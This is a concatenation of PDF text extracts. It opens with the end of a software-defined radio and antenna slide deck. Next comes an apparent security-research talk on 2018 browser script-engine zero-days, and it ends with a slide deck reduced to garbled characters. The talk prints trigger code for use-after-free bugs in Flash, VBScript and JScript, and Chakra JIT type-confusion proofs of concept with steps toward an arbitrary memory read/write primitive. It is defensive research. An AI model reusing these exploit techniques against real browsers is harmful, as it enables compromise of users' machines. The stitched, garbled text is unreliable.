mW)! Cost: $420(x40) $650 (X115)! ! HackRF (GreatScott Gadgets)! Frequency: 1Mhz – 6 Ghz! Power: 0-15 dBm (1-32mW)! Cost: $330! HAM Radio Transceivers (cont’d)! Interesting uses:! Satellite communications! Earth-moon-earth (EME)! Packet Radio! Radio Teletype (RTTY)! Internet Radio Linking Project (IRLP)! Morse Code! SDR Rx/Tx! RTL-SDR ; RX only! HackRF ; TX and RX capable SDR board that’s hugely affordable! BladeRF ; TX and RX in an affordable solution! USRP ; the nuke! Hacks ; RaspberryPi, etc! SDR 101 in One Slide! What ‘is’ Software Defined Radio?! ● Radio front end! ● No dedicated IC back end for decoding radio signal! ● Digitize signal and pass it all to the host system! ● In theory, if you can tune it, you can be that type of radio! SDR Captured Data! ● No packets - just raw data! ● Raw radio samples of some bandwidth per sample! ● Bandwidth defines amount of spectrum covered by samples! IQ Data! ● SDR data commonly called “IQ”! ● Imaginary and Quotient components of signal! ● Two-part sample consisting of amplitude and phase! ● Sampling only amplitude gives a signal at a time - but no idea about frequency! ● Fancy trig gets us signal at specific time! Choose Your Weapon! ● Bit depth of samples (usually 8 or 16 bit) determines fidelity, much like 16 bit color! ● Sample width, such as 200KHz or 20MHz, defines how much spectrum can be captured at a time! ● Frequency range, such as 30MHz to 4GHz, defines the range the radio can be tuned to! Antenna Theory from HAM to SDR! ANTENNA!:!noun:! A!piece!of!metal!which!conducts!electricity! Radiates!and!receives!the!signals! ! ! Antenna System! Antenna System (cont)! Antenna Systems Must Match Transmitter! ● Prune length! ● Antenna tuner! ● Matching Section! Polarization! ● Horizontal! ● Vertical! ● Circular! Calculation crash course! v = f * λ! speed = wavelength * frequency! Antenna Characteristics! Reciprocity of Antennas! Antenna Gain! Antenna Polarization! Antenna types! !Omnidirectional! Semi to Very Directional! Propagation Characteristics! The S in the DR! Your success in receiving is going to depend on !your antennas and filters! Do not transmit with a mismatched antenna system! SDR Tools! ● Multiple tools! ● GQRX, SDR# for browsing spectrum! ● GNU Radio is the grand-daddy of decoding platforms! ! Pick the tool for the right job! What am I seeing/hearing?! http://www.sigidwiki.com/wiki/Signal_Identification_Guide! Tools of the Trade! GQRX - This is where ya start! Baudline - Non GPL and quirky (50MB file limit)! GNURadio - GRADWare and goofy! ! ! Other tools! 1. dsd (audio input selection problem)! - Demodulate P25, Mototurbo! 2. multimon-ng! - Demodulates almost ALL THE THINGS! 3. smartnet-scanner! - More P25 goodness (uses radioreference)! Linux Only?! ● For most of the tools, yes.! ● To look around, no.! ● Use the same dongle! ● Opposed to GQRX! o SDRSharp - plugins! o HDSDR! Common problems in SDR labs! ● Antennas! ● Lightning! ● Static! ● Noise! ● Clocks and Drift! Static! ● The cheaper RTL’s do NOT have static protection! ● Wind generates static! ● Rubbing things… generates static! ! Static protection is a must!! http://ncrmnt.org/wp/2012/06/30/rtl-sdr-static-protection/! Noise Reduction Must Reads! The-Mitigation-of-Radio-Noise-from-External-Sources-at-! Radio-Receiving-Sites! http://www.dtic.mil/cgi-bin/GetTRDoc?AD=ADA468464! ! ! Naval RFI Handbook! http://www.arrl.org/files/file/Technology/RFI%20Main%20Page/Naval_RFI_Handbook.pdf! BFG Noise! ! Computer Power Supply not in Accordance with Barrier, Feed, and Ground (BFG) Principles! ! Improper grounding solution! Clocks! ● The cheaper SDR’s have a lot of noise in them! ● Choke them out and isolate noise sources! ● Use a unified PPM if you use more than one for IQ! A bit of fun - Hardware Mods! Multichannel Receivers! http://yo3iiu.ro/blog/?p=1450! Hardware Mods! -As the RTL warms up, you’ll get signal drift! -Know your offset, National Weather Service! 162.400MHz 162.425MHz 162.450MHz 162.475MHz 162.500MHz 162.525MHz 162.550MHz! ! Add some cooling!! ! http://sdrformariners.blogspot.com/! 2013/12/cooling.html! TS(-CM) on the cheap! Technical Surveillance and Countermeasures! ● It’s a process, not a tool! ● Use lossy antennas and mismatched systems to your advantage! ● Know your radio neighborhood! ● HEATMAPS!! Take it to the Village!! The Wireless Village! Workshops and Presentations:! Antenna theory and constructions! Wireless Penetration Testing! Software Defined Radio! and others ! The Wireless Village (cont’d)! Wi-Fi! λ 802.11all-the-things! λ En/Decryption! λ Old to Very New! λ Fox and Hound! λ All the WiFi'z! Other Wireless! λ Zigbee! SDR! λ Fox and Hound! λ Duck Hunt! λ Seek and Demod! λ RF Meta analysis! λ Radio Signal Mapping! The Wireless Village (cont’d)! Wireless Capture The Flag! Wireless ! SDR! Hide & Seek RF Style! Questions!
pdf
Browser Script Engine Zero Days in 2018 Elliot Cao Trend Micro 2019-05-30 Whoami • Previous occupation is electrical engineer • Joined in Trend Micro in 2017 • Sandbox developer • Started browser vulnerability research in 2018 • Focus on browser script engine • Lei Cao (@elli0tn0phacker) Agenda • Browser Zero Days in 2018 • VBSEmulator • Chakra Browser Zero Days in 2018 Browser Zero Days in 2018 • Flash: CVE-2018-4878 CVE-2018-15982 • VBScript: CVE-2018-8174 CVE-2018-8373 • JScript: CVE-2018-8653 Flash Zero Days in 2018 • CVE-2018-4878 var psdk:PSDK = PSDK.pSDK; var psdk_dispatcher:PSDKEventDispatcher = psdk.createDispatcher(); this.mediaPlayer = psdk.createMediaPlayer(psdk_dispatcher); this.my_DRMListerner = new DRMOperationCompleteListener (); this.mediaPlayer.drmManager.initialize(this.my_DRMListerner); this.my_DRMListerner = null; try { new LocalConnection().connect("foo"); new LocalConnection().connect("foo"); } catch (e:Error) { my_DRMListerner_vuln = new DRMOperationCompleteListener (); } Flash Zero Days in 2018 • CVE-2018-4878 Create an Object var psdk:PSDK = PSDK.pSDK; var psdk_dispatcher:PSDKEventDispatcher = psdk.createDispatcher(); this.mediaPlayer = psdk.createMediaPlayer(psdk_dispatcher); this.my_DRMListerner = new DRMOperationCompleteListener (); this.mediaPlayer.drmManager.initialize(this.my_DRMListerner); this.my_DRMListerner = null; try { new LocalConnection().connect("foo"); new LocalConnection().connect("foo"); } catch (e:Error) { my_DRMListerner_vuln = new DRMOperationCompleteListener (); } var psdk:PSDK = PSDK.pSDK; var psdk_dispatcher:PSDKEventDispatcher = psdk.createDispatcher(); this.mediaPlayer = psdk.createMediaPlayer(psdk_dispatcher); this.my_DRMListerner = new DRMOperationCompleteListener (); this.mediaPlayer.drmManager.initialize(this.my_DRMListerner); this.my_DRMListerner = null; try { new LocalConnection().connect("foo"); new LocalConnection().connect("foo"); } catch (e:Error) { my_DRMListerner_vuln = new DRMOperationCompleteListener (); } Flash Zero Days in 2018 • CVE-2018-4878 Free the Object Flash Zero Days in 2018 • CVE-2018-4878 Reuse free memory Trigger GC, Get a dangling pointer my_DRMListerner_vuln var psdk:PSDK = PSDK.pSDK; var psdk_dispatcher:PSDKEventDispatcher = psdk.createDispatcher(); this.mediaPlayer = psdk.createMediaPlayer(psdk_dispatcher); this.my_DRMListerner = new DRMOperationCompleteListener (); this.mediaPlayer.drmManager.initialize(this.my_DRMListerner); this.my_DRMListerner = null; try { new LocalConnection().connect("foo"); new LocalConnection().connect("foo"); } catch (e:Error) { my_DRMListerner_vuln = new DRMOperationCompleteListener (); } Flash Zero Days in 2018 • CVE-2018-15982 var ba:ByteArray = new ByteArray(); var md:Metadata = new Metadata(); var arr_key:* = null; i = 0; while (i < 0x100) { md.setObject(i.toString(), ba); i++; } try{ new LocalConnection().connect("foo"); new LocalConnection().connect("foo"); } catch (e:Error){} arr_key = md.keySet; Flash Zero Days in 2018 • CVE-2018-15982 var ba:ByteArray = new ByteArray(); var md:Metadata = new Metadata(); var arr_key:* = null; i = 0; while (i < 0x100) { md.setObject(i.toString(), ba); i++; } try{ new LocalConnection().connect("foo"); new LocalConnection().connect("foo"); } catch (e:Error){} arr_key = md.keySet; Create some String object and save them to Metadata Flash Zero Days in 2018 • CVE-2018-15982 var ba:ByteArray = new ByteArray(); var md:Metadata = new Metadata(); var arr_key:* = null; i = 0; while (i < 0x100) { md.setObject(i.toString(), ba); i++; } try{ new LocalConnection().connect("foo"); new LocalConnection().connect("foo"); } catch (e:Error){} arr_key = md.keySet; Flash Zero Days in 2018 • CVE-2018-15982 var ba:ByteArray = new ByteArray(); var md:Metadata = new Metadata(); var arr_key:* = null; i = 0; while (i < 0x100) { md.setObject(i.toString(), ba); i++; } try{ new LocalConnection().connect("foo"); new LocalConnection().connect("foo"); } catch (e:Error){} arr_key = md.keySet; Trigger GC Flash Zero Days in 2018 • CVE-2018-15982 var ba:ByteArray = new ByteArray(); var md:Metadata = new Metadata(); var arr_key:* = null; i = 0; while (i < 0x100) { md.setObject(i.toString(), ba); i++; } try{ new LocalConnection().connect("foo"); new LocalConnection().connect("foo"); } catch (e:Error){} arr_key = md.keySet; Get dangling pointers arr_key VBScript Zero Days in 2018 • CVE-2018-8174 Dim arr(1) Dim o Class MyClass Private Sub Class_Terminate Set o = arr(0) arr(0) = &h12345678 End Sub End Class Set arr(0) = New MyClass Erase arr msgbox o VBScript Zero Days in 2018 • CVE-2018-8174 Dim arr(1) Dim o Class MyClass Private Sub Class_Terminate Set o = arr(0) arr(0) = &h12345678 End Sub End Class Set arr(0) = New MyClass Erase arr msgbox o Create one MyClass object and save its pointer to arr(0) VBScript Zero Days in 2018 • CVE-2018-8174 Dim arr(1) Dim o Class MyClass Private Sub Class_Terminate Set o = arr(0) arr(0) = &h12345678 End Sub End Class Set arr(0) = New MyClass Erase arr msgbox o VBScript Zero Days in 2018 • CVE-2018-8174 Dim arr(1) Dim o Class MyClass Private Sub Class_Terminate Set o = arr(0) arr(0) = &h12345678 End Sub End Class Set arr(0) = New MyClass Erase arr msgbox o Save MyClass object pointer to variable o VBScript Zero Days in 2018 • CVE-2018-8174 Dim arr(1) Dim o Class MyClass Private Sub Class_Terminate Set o = arr(0) arr(0) = &h12345678 End Sub End Class Set arr(0) = New MyClass Erase arr msgbox o Get a dangling pointer VBScript Zero Days in 2018 • CVE-2018-8373 Dim arr() ReDim arr(2) Class MyClass Public Default Property Get P ReDim arr(1) End Sub End Class arr(2) = New MyClass VBScript Zero Days in 2018 • CVE-2018-8373 Dim arr() ReDim arr(2) Class MyClass Public Default Property Get P ReDim arr(1) End Sub End Class arr(2) = New MyClass Save the arr(2) address on the stack VBScript Zero Days in 2018 • CVE-2018-8373 Dim arr() ReDim arr(2) Class MyClass Public Default Property Get P ReDim arr(1) End Sub End Class arr(2) = New MyClass VBScript Zero Days in 2018 • CVE-2018-8373 Dim arr() ReDim arr(2) Class MyClass Public Default Property Get P ReDim arr(1) End Sub End Class arr(2) = New MyClass Original array buffer will be freed by |ReDim| VBScript Zero Days in 2018 • CVE-2018-8373 Dim arr() ReDim arr(2) Class MyClass Public Default Property Get P ReDim arr(1) End Sub End Class arr(2) = New MyClass Get a dangling pointer JScript Zero Days in 2018 • CVE-2018-8653 … for (var i = 0; i < limit; i++) { var arr = new Array({prototype:{}}); var e = new Enumerator(arr); e.moveFirst(); refs[i] = e.item(); } for (var i = 0; i < limit; i++) { refs[i].prototype = {}; refs[i].prototype.isPrototypeOf = getFreeRef; } … dummyObj instanceof refs[0]; JScript Zero Days in 2018 • CVE-2018-8653 … for (var i = 0; i < limit; i++) { var arr = new Array({prototype:{}}); var e = new Enumerator(arr); e.moveFirst(); refs[i] = e.item(); } for (var i = 0; i < limit; i++) { refs[i].prototype = {}; refs[i].prototype.isPrototypeOf = getFreeRef; } … dummyObj instanceof refs[0]; Create an array contains object has prototype object JScript Zero Days in 2018 • CVE-2018-8653 … for (var i = 0; i < limit; i++) { var arr = new Array({prototype:{}}); var e = new Enumerator(arr); e.moveFirst(); refs[i] = e.item(); } for (var i = 0; i < limit; i++) { refs[i].prototype = {}; refs[i].prototype.isPrototypeOf = getFreeRef; } … dummyObj instanceof refs[0]; Set the prototype object isPrototypeOf to |getFreeRef| callback JScript Zero Days in 2018 • CVE-2018-8653 … for (var i = 0; i < limit; i++) { var arr = new Array({prototype:{}}); var e = new Enumerator(arr); e.moveFirst(); refs[i] = e.item(); } for (var i = 0; i < limit; i++) { refs[i].prototype = {}; refs[i].prototype.isPrototypeOf = getFreeRef; } … dummyObj instanceof refs[0]; Trigger |getFreeRef| callback JScript Zero Days in 2018 • CVE-2018-8653 function getFreeRef() { if (count == limit) { … for (var i = 0; i < limit; i++) { refs[i].prototype = 0; } CollectGarbage(); } else { dummyObj instanceof refs[count++]; } // crash here this; return false; } recursive calls to put |this| on the stack JScript Zero Days in 2018 • CVE-2018-8653 function getFreeRef() { if (count == limit) { … for (var i = 0; i < limit; i++) { refs[i].prototype = 0; } CollectGarbage(); } else { dummyObj instanceof refs[count++]; } // crash here this; return false; } Break out and release prototype object by garbage collection JScript Zero Days in 2018 • CVE-2018-8653 function getFreeRef() { if (count == limit) { … for (var i = 0; i < limit; i++) { refs[i].prototype = 0; } CollectGarbage(); } else { dummyObj instanceof refs[count++]; } // crash here this; return false; } |this| pointer is still saved on the stack and not tracked by GC Get a dangling pointer VBSEmulator What is VBScript • One script language developed by Microsoft • Not meet ECMAScript standard • Run in vbscript.dll • Not open sourced  How does vbscript.dll work • Load • Parse • Compile • Run • Unload How does vbscript.dll work • Load • Parse • Compile • Run • Unload CScriptRuntime::RunNoEH(CScriptRuntime *__hidden this, struct VAR *) How does vbscript.dll work • Load • Parse • Compile • Run • Unload CScriptRuntime::RunNoEH(CScriptRuntime *__hidden this, struct VAR *) CScriptRuntime +0x28 Local Variables +0x2C Function Arguments +0xB0 Statck Pointer +0xB4 Position Counter +0xC0 CompiledScript CompiledScript +0x10 func_offset +0x14 func_count +0x1C bos_info +0x28 bos_data +0x2C bos_data_length What is VBSEmulator • One tool can deobfuscate vbs obfuscated sample • One tool can detect GodMode or ROP How does VBSEmulator work Hook LoadLibrary Init COM Run Script Dump Behavior Detect Exploit Uninitialize Start Hook Break out Y N How does VBSEmulator work Hook LoadLibrary Init COM Run Script Dump Behavior Detect Exploit Uninitialize Start Hook Break out Y N • Functions hooked are not exported • Need to maintain one hooked functions entry point pattern • By hooking LoadLibrary, I can use specialized vbscript.dll How does VBSEmulator work Hook LoadLibrary Init COM Run Script Dump Behavior Detect Exploit Uninitialize Start Hook Break out Y N • Exploit1: GodMode How does VBSEmulator work Hook LoadLibrary Init COM Run Script Dump Behavior Detect Exploit Uninitialize Start Hook Break out Y N • Exploit2: ROP How does VBSEmulator work Hook LoadLibrary Init COM Run Script Dump Behavior Detect Exploit Uninitialize Start Hook Break out Y N • Detect Exploit1: GodMode (1) Hook COleScript::CanObjectRun (2) Check if safe mode flag modified (3) If detect, throw exception and stop running ActiveX • Detect Exploit2: ROP (1) Hook ntdll!NtContinue (2) Check if CONTEXT.Eip ==VirtualProtect (3) If detect, throw exception and stop running shellcode Demo Chakra What is Chakra • A JavaScript engine developed by Microsoft • Used in Microsoft Edge • Forked from Jscript9 Used in Internet Explorer • Open sourced as ChakraCore in GitHub ☺ How does Chakra work • Parser • Interpreter • JIT compiler • Garbage Collector From: https://github.com/Microsoft/ChakraCore/wiki/Architecture-Overview Basic variable type in Chakra • Array • JavascriptArray • JavascriptNativeIntArray • JavascriptNativeFloatArray Basic variable type in Chakra • Array • JavascriptArray • JavascriptNativeIntArray • JavascriptNativeFloatArray segment Basic variable type in Chakra • Array • JavascriptArray • JavascriptNativeIntArray • JavascriptNativeFloatArray Basic variable type in Chakra • Array • JavascriptArray • JavascriptNativeIntArray • JavascriptNativeFloatArray Basic variable type in Chakra • Array • Type Conversion in Array arr[0] = {}; JavascriptNativeFloatArray JavascriptArray Basic variable type in Chakra • Object • Memory layout of DynamicObject var obj2 = {__proto__:obj1}; Chakra JIT Type Confusion From: https://bugs.chromium.org/p/project-zero/issues/list?can=1&q=chakra Chakra JIT Type Confusion • Example function opt(obj) { foo(obj); } for(let i=0; i < 0x10000; i++) { opt(obj1); } opt(obj2); Chakra JIT Type Confusion • Example function opt(obj) { foo(obj); } for(let i=0; i < 0x10000; i++) { opt(obj1); } opt(obj2); Force opt() to be JITed and optimized Chakra JIT Type Confusion • Example function opt(obj) { foo(obj); } for(let i=0; i < 0x10000; i++) { opt(obj1); } opt(obj2); JITed opt() makes assumption on obj type and bailout if type check fail Chakra JIT Type Confusion • Example function opt(obj) { foo(obj); } for(let i=0; i < 0x10000; i++) { opt(obj1); } opt(obj2); foo() has side effect may change obj type Chakra JIT Type Confusion • Example function opt(obj) { foo(obj); } for(let i=0; i < 0x10000; i++) { opt(obj1); } opt(obj2); Call opt() JITed code directly, and if JITed code not check obj2 type if changed by foo(), Type Confusion happened! Chakra JIT Type Confusion • Case Study: CVE-2017-11802 let arr = [1.1, 1.2]; function opt(f) { arr[0] = 1.1; arr[1] = 2.3023e-320 + parseInt('a'.replace('a', f)); return 1; } for (var i = 0; i < 0x10000; i++) opt(()=>{return '0';}); opt(()=>{ arr[0]={}; return '0';}); //trigger exception arr[1].toString(); From: https://bugs.chromium.org/p/project-zero/issues/list?can=1&q=CVE-2017-11802 Chakra JIT Type Confusion • Case Study: CVE-2017-11802 : Root Cause let arr = [1.1, 1.2]; function opt(f) { arr[0] = 1.1; arr[1] = 2.3023e-320 + parseInt('a'.replace('a', f)); return 1; } for (var i = 0; i < 0x10000; i++) opt(()=>{return '0';}); opt(()=>{ arr[0]={}; return '0';}); //trigger exception arr[1].toString(); From: https://bugs.chromium.org/p/project-zero/issues/list?can=1&q=CVE-2017-11802 Define one JavascriptFloatArray Chakra JIT Type Confusion let arr = [1.1, 1.2]; function opt(f) { arr[0] = 1.1; arr[1] = 2.3023e-320 + parseInt('a'.replace('a', f)); return 1; } for (var i = 0; i < 0x10000; i++) opt(()=>{return '0';}); opt(()=>{ arr[0]={}; return '0';}); //trigger exception arr[1].toString(); From: https://bugs.chromium.org/p/project-zero/issues/list?can=1&q=CVE-2017-11802 for loop force opt() to be JITed and optimized • Case Study: CVE-2017-11802 : Root Cause Chakra JIT Type Confusion let arr = [1.1, 1.2]; function opt(f) { arr[0] = 1.1; arr[1] = 2.3023e-320 + parseInt('a'.replace('a', f)); return 1; } for (var i = 0; i < 0x10000; i++) opt(()=>{return '0';}); opt(()=>{ arr[0]={}; return '0';}); //trigger exception arr[1].toString(); From: https://bugs.chromium.org/p/project-zero/issues/list?can=1&q=CVE-2017-11802 |replace| will trigger ImplicitCall callback • Case Study: CVE-2017-11802 : Root Cause Chakra JIT Type Confusion • Case Study: CVE-2017-11802 : Root Cause let arr = [1.1, 1.2]; function opt(f) { arr[0] = 1.1; arr[1] = 2.3023e-320 + parseInt('a'.replace('a', f)); return 1; } for (var i = 0; i < 0x10000; i++) opt(()=>{return '0';}); opt(()=>{ arr[0]={}; return '0';}); //trigger exception arr[1].toString(); From: https://bugs.chromium.org/p/project-zero/issues/list?can=1&q=CVE-2017-11802 Call opt() JITed code directly Chakra JIT Type Confusion let arr = [1.1, 1.2]; function opt(f) { arr[0] = 1.1; arr[1] = 2.3023e-320 + parseInt('a'.replace('a', f)); return 1; } for (var i = 0; i < 0x10000; i++) opt(()=>{return '0';}); opt(()=>{ arr[0]={}; return '0';}); //trigger exception arr[1].toString(); From: https://bugs.chromium.org/p/project-zero/issues/list?can=1&q=CVE-2017-11802 |replace| will trigger ImplicitCall callback | arr[0]={}| will change the Array type from JavascriptNativeFloatArray to JavascriptArray • Case Study: CVE-2017-11802 : Root Cause Chakra JIT Type Confusion • Case Study: CVE-2017-11802 : Root Cause let arr = [1.1, 1.2]; function opt(f) { arr[0] = 1.1; arr[1] = 2.3023e-320 + parseInt('a'.replace('a', f)); return 1; } for (var i = 0; i < 0x10000; i++) opt(()=>{return '0';}); opt(()=>{ arr[0]={}; return '0';}); //trigger exception arr[1].toString(); From: https://bugs.chromium.org/p/project-zero/issues/list?can=1&q=CVE-2017-11802 JITed opt() still assumes arr type is JavascriptNativeFloatArray. Type confusion happened! opt JITed Code Chakra JIT Type Confusion • Case Study: CVE-2017-11802 : Root Cause let arr = [1.1, 1.2]; function opt(f) { arr[0] = 1.1; arr[1] = 2.3023e-320 + parseInt('a'.replace('a', f)); return 1; } for (var i = 0; i < 0x10000; i++) opt(()=>{return '0';}); opt(()=>{ arr[0]={}; return '0';}); //trigger exception arr[1].toString(); From: https://bugs.chromium.org/p/project-zero/issues/list?can=1&q=CVE-2017-11802 Chakra JIT Type Confusion • Case Study: CVE-2017-11802 : Patch Chakra JIT Type Confusion • Case Study: CVE-2017-11802 : Patch Chakra JIT Type Confusion • Case Study: CVE-2017-11802 : Patch Chakra JIT Type Confusion • Case Study: CVE-2019-0567 function opt(obj1, obj2) { obj1.b = 1; let tmp = {__proto__:obj2}; obj1.a = 0x1234; } obj1 = {a:1, b:2 }; obj2 = {}; for(let i=0; i<0x10000; i++) opt(obj1, obj2); opt(obj1, obj1); //trigger exception obj1.a.toString(); From: https://bugs.chromium.org/p/project-zero/issues/list?can=1&q=CVE-2019-0567 Chakra JIT Type Confusion • Case Study: CVE-2019-0567 : Root Cause function opt(obj1, obj2) { obj1.b = 1; let tmp = {__proto__:obj2}; obj1.a = 0x1234; } obj1 = {a:1, b:2 }; obj2 = {}; for(let i=0; i<0x10000; i++) opt(obj1, obj2); opt(obj1, obj1); //trigger exception obj1.a.toString(); From: https://bugs.chromium.org/p/project-zero/issues/list?can=1&q=CVE-2019-0567 Create two objects Chakra JIT Type Confusion • Case Study: CVE-2019-0567 : Root Cause function opt(obj1, obj2) { obj1.b = 1; let tmp = {__proto__:obj2}; obj1.a = 0x1234; } obj1 = {a:1, b:2 }; obj2 = {}; for(let i=0; i<0x10000; i++) opt(obj1, obj2); opt(obj1, obj1); //trigger exception obj1.a.toString(); From: https://bugs.chromium.org/p/project-zero/issues/list?can=1&q=CVE-2019-0567 for loop force opt() to be JITed and optimized Chakra JIT Type Confusion • Case Study: CVE-2019-0567 : Root Cause function opt(obj1, obj2) { obj1.b = 1; let tmp = {__proto__:obj2}; obj1.a = 0x1234; } obj1 = {a:1, b:2 }; obj2 = {}; for(let i=0; i<0x10000; i++) opt(obj1, obj2); opt(obj1, obj1); //trigger exception obj1.a.toString(); From: https://bugs.chromium.org/p/project-zero/issues/list?can=1&q=CVE-2019-0567 |{__proto__:obj2}| make obj2 to be the prototype of some object Chakra JIT Type Confusion • Case Study: CVE-2019-0567 : Root Cause function opt(obj1, obj2) { obj1.b = 1; let tmp = {__proto__:obj2}; obj1.a = 0x1234; } obj1 = {a:1, b:2 }; obj2 = {}; for(let i=0; i<0x10000; i++) opt(obj1, obj2); opt(obj1, obj1); //trigger exception obj1.a.toString(); From: https://bugs.chromium.org/p/project-zero/issues/list?can=1&q=CVE-2019-0567 Call opt() JITed code directly Chakra JIT Type Confusion • Case Study: CVE-2019-0567 : Root Cause function opt(obj1, obj2) { obj1.b = 1; let tmp = {__proto__:obj2}; obj1.a = 0x1234; } obj1 = {a:1, b:2 }; obj2 = {}; for(let i=0; i<0x10000; i++) opt(obj1, obj2); opt(obj1, obj1); //trigger exception obj1.a.toString(); From: https://bugs.chromium.org/p/project-zero/issues/list?can=1&q=CVE-2019-0567 |{__proto__:obj1}| make obj1 to be the prototype of some object Chakra JIT Type Confusion • Case Study: CVE-2019-0567 : Root Cause function opt(obj1, obj2) { obj1.b = 1; let tmp = {__proto__:obj2}; obj1.a = 0x1234; } obj1 = {a:1, b:2 }; obj2 = {}; for(let i=0; i<0x10000; i++) opt(obj1, obj2); opt(obj1, obj1); //trigger exception obj1.a.toString(); From: https://bugs.chromium.org/p/project-zero/issues/list?can=1&q=CVE-2019-0567 |{__proto__:obj1}| make obj1 to be the prototype of some object Chakra JIT Type Confusion • Case Study: CVE-2019-0567 : Root Cause function opt(obj1, obj2) { obj1.b = 1; let tmp = {__proto__:obj2}; obj1.a = 0x1234; } obj1 = {a:1, b:2 }; obj2 = {}; for(let i=0; i<0x10000; i++) opt(obj1, obj2); opt(obj1, obj1); //trigger exception obj1.a.toString(); From: https://bugs.chromium.org/p/project-zero/issues/list?can=1&q=CVE-2019-0567 JITed opt() does not know the change. Type confusion happened! Chakra JIT Type Confusion • Case Study: CVE-2019-0567 : Root Cause function opt(obj1, obj2) { obj1.b = 1; let tmp = {__proto__:obj2}; obj1.a = 0x1234; } obj1 = {a:1, b:2 }; obj2 = {}; for(let i=0; i<0x10000; i++) opt(obj1, obj2); opt(obj1, obj1); //trigger exception obj1.a.toString(); From: https://bugs.chromium.org/p/project-zero/issues/list?can=1&q=CVE-2019-0567 JITed opt() does not know the change of obj1 memory laylout. Type confusion happened! Chakra JIT Type Confusion • Case Study: CVE-2019-0567 : Root Cause function opt(obj1, obj2) { obj1.b = 1; let tmp = {__proto__:obj2}; obj1.a = 0x1234; } obj1 = {a:1, b:2 }; obj2 = {}; for(let i=0; i<0x10000; i++) opt(obj1, obj2); opt(obj1, obj1); //trigger exception obj1.a.toString(); From: https://bugs.chromium.org/p/project-zero/issues/list?can=1&q=CVE-2019-0567 Chakra JIT Type Confusion • Case Study: CVE-2019-0567 : Patch • Before patch: lowerer Chakra JIT Type Confusion • Case Study: CVE-2019-0567 : Patch Chakra JIT Type Confusion • Case Study: CVE-2019-0567 : Patch • After patch: lowerer Chakra JIT Type Confusion • Case Study: CVE-2019-0567 : Exploit • auxslots can be controlled by script • goal is to get R/W primitive • need to corrupt some object to exploit Chakra JIT Type Confusion • Case Study: CVE-2019-0567 : Exploit • DateView var buffer = new ArrayBuffer(0x123); var dv = new DataView(buffer); dv.setUint32(0, 0x12345678, true); Chakra JIT Type Confusion • Case Study: CVE-2019-0567 : Exploit • Exploit Memory Layout – R/W Primitive vtable type auxslots vtable type auxslots vtable type auxslots objectArray objectArray objectArray length arrayBuffer byteOffset buffer vtable type auxslots objectArray length arrayBuffer byteOffset buffer obj1 (DynamicObject) obj3 (DynamicObject) dv1 (DataView) dv2 (DataView) obj1.a obj1.b obj1.c obj3.a obj3.b obj3.c obj3.d obj3.e obj3.f obj3.g obj3.h Chakra JIT Type Confusion • Case Study: CVE-2019-0567 : Exploit • Exploit Memory Layout – R/W Primitive vtable type auxslots vtable type auxslots vtable type auxslots objectArray objectArray objectArray length arrayBuffer byteOffset buffer vtable type auxslots objectArray length arrayBuffer byteOffset buffer obj1 (DynamicObject) obj3 (DynamicObject) dv1 (DataView) dv2 (DataView) obj1.a obj1.b obj1.c obj3.a obj3.b obj3.c obj3.d obj3.e obj3.f obj3.g obj3.h Step1. Trigger bug and set obj1->auxSlots = obj3 opt(obj1, obj1, obj3); Chakra JIT Type Confusion • Case Study: CVE-2019-0567 : Exploit • Exploit Memory Layout – R/W Primitive vtable type auxslots vtable type auxslots vtable type auxslots objectArray objectArray objectArray length arrayBuffer byteOffset buffer vtable type auxslots objectArray length arrayBuffer byteOffset buffer obj1 (DynamicObject) obj3 (DynamicObject) dv1 (DataView) dv2 (DataView) obj1.a obj1.b obj1.c obj3.a obj3.b obj3.c obj3.d obj3.e obj3.f obj3.g obj3.h Step2. Set obj3->auxSlots = dv1 obj1.c = dv1; Chakra JIT Type Confusion • Case Study: CVE-2019-0567 : Exploit • Exploit Memory Layout – R/W Primitive vtable type auxslots vtable type auxslots vtable type auxslots objectArray objectArray objectArray length arrayBuffer byteOffset buffer vtable type auxslots objectArray length arrayBuffer byteOffset buffer obj1 (DynamicObject) obj3 (DynamicObject) dv1 (DataView) dv2 (DataView) obj1.a obj1.b obj1.c obj3.a obj3.b obj3.c obj3.d obj3.e obj3.f obj3.g obj3.h Step3. Set dv1->buffer = dv2 obj3.h = dv2; Chakra JIT Type Confusion • Case Study: CVE-2019-0567 : Exploit • Exploit Memory Layout – R/W Primitive vtable type auxslots vtable type auxslots vtable type auxslots objectArray objectArray objectArray length arrayBuffer byteOffset buffer vtable type auxslots objectArray length arrayBuffer byteOffset buffer obj1 (DynamicObject) obj3 (DynamicObject) dv1 (DataView) dv2 (DataView) obj1.a obj1.b obj1.c obj3.a obj3.b obj3.c obj3.d obj3.e obj3.f obj3.g obj3.h Step4. Get arbitrary R/W primitive by corrupting dv2's buffer dv1.setUint32(0x38, addr_lo, true); dv1.setUint32(0x3c, addr_hi, true) Chakra JIT Type Confusion • Case Study: CVE-2019-0567 : Exploit • Leak chakra base address Demo Conclusion • Flash is still the main target of attackers. As Adobe will stop updating Flash at the end of 2020, the number of Flash zero days attacks maybe decrease. • In 2018, some old script engines began to be the target of attackers, such as VBScript and JScript. Maybe more zero days attacks will be discovered in these script engines in the future. • VBSEmulator is one tool can use to do some vbscript deobfuscation and detect possible unknown exploit. • The new JavaScript engine Chakra seems vulnerable, especially JIT compiler. Type confusion is easy to exploit. Thank You! Browser Script Engine Zero Days in 2018 @elli0tn0phacker Elliot Cao [email protected]
pdf
& Privileged&Confidential 01 • • 82 5 Privileged&Confidential 5 Privileged&Confidential 0 & 2 Privileged&Confidential Privileged&Confidential & 01 T Privileged&Confidential T Privileged&Confidential • O% & S1 S& • 05 R1 • 0pC 1P 4Op • t4aC81 Privileged&Confidential Privileged&Confidential & 02 Privileged&Confidential Privileged&Confidential • & • & • & Privileged&Confidential & Privileged&Confidential 03 Privileged&Confidential Privileged&Confidential 141 ap a& 2t. 1.3 & Privileged&Confidential & Privileged&Confidential 04 d Privileged&Confidential d Privileged&Confidential • xj3&%8o 3&u8s • 8te p8lamirs 8&&33080y8 br • kg8gn8gsp h • 80800 & Privileged&Confidential & Privileged&Confidential 05 Privileged&Confidential Privileged&Confidential • & 1& • • & & Privileged&Confidential & Privileged&Confidential 06 Fdz Privileged&Confidential Fdz Privileged&Confidential • aad&85128 +6380 0451&8& 8 • +6Ad8AdAu e8sa 8t88 • rp8ob-632rp m8 48@75 Privileged&Confidential 48@75 Privileged&Confidential 2963 0 & & 0 11 Privileged&Confidential Privileged&Confidential & 07 Privileged&Confidential Privileged&Confidential • dik5 • Bxe5 300ff&&f f1445 • bs Boc o-5 • 00uw 5z rA5 Privileged&Confidential Privileged&Confidential & 08 Privileged&Confidential 